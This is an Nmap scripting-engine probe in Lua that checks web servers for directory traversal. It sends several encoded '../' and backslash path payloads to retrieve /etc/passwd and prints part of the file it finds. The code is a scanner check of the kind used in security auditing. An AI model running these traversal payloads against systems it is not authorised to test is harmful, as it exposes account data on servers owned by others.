-- HTTP probe for /etc/passwd -- 07/20/2007 -- Started with Thomas Buchanan's HTTPAuth.nse as a base -- Applied some great suggestions from Brandon Enright, thanks a lot man! id = "HTTP directory traversal passwd probe" description = "Probe for /etc/passwd if server is susceptible to directory traversal" author = "Kris Katterjohn " license = "Look at Nmap's COPYING" categories = {"intrusive"} require "shortport" -- Check for a valid HTTP return code, and check -- the supposed passwd file for validity local validate = function(response) local passwd local line local start, stop -- Hopefully checking for only 200 won't bite me in the ass, but -- it's the only one that makes sense and I haven't seen it fail if response:match("HTTP/1.[01] 200") then start, stop = response:find("\r\n\r\n") passwd = response:sub(stop + 1) else return end start, stop = passwd:find("[\r\n]") line = passwd:sub(1, stop) if line:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") then return passwd end return end -- Connects to host:port, send cmd, and returns the (hopefully valid) response local talk = function(host, port, cmd) local socket local response socket = nmap.new_socket() socket:connect(host.ip, port.number) socket:send(cmd) response = "" while true do local status, lines = socket:receive_lines(1) if not status then break end response = response .. lines end socket:close() return validate(response) end local httpget = function(str) return "GET " .. str .. " HTTP/1.0\r\n\r\n" end local hexify = function(str) local ret ret = str:gsub("%.", "%%2E") ret = ret:gsub("/", "%%2F") ret = ret:gsub("\\", "%%5C") return ret end -- Returns truncated passwd file and returned length local truncatePasswd = function(passwd) local len = 250 return passwd:sub(1, len), len end local output = function(passwd, dir) local trunc, len = truncatePasswd(passwd) local out = "" out = out .. "Found with \"" .. dir .. "\"\n" out = out .. "Printing first " .. len .. " bytes:\n" out = out .. trunc return out end portrule = shortport.port_or_service({80, 8080}, "http") action = function(host, port) local cmd, response local dir dir = "//etc/passwd" cmd = httpget(hexify(dir)) response = talk(host, port, cmd) if response then return output(response, dir) end dir = string.rep("../", 10) .. "etc/passwd" cmd = httpget(hexify(dir)) response = talk(host, port, cmd) if response then return output(response, dir) end dir = "." .. string.rep("../", 10) .. "etc/passwd" cmd = httpget(hexify(dir)) response = talk(host, port, cmd) if response then return output(response, dir) end dir = string.rep("..\\/", 10) .. "etc\\/passwd" cmd = httpget(hexify(dir)) response = talk(host, port, cmd) if response then return output(response, dir) end dir = string.rep("..\\", 10) .. "etc\\passwd" cmd = httpget(hexify(dir)) response = talk(host, port, cmd) if response then return output(response, dir) end return end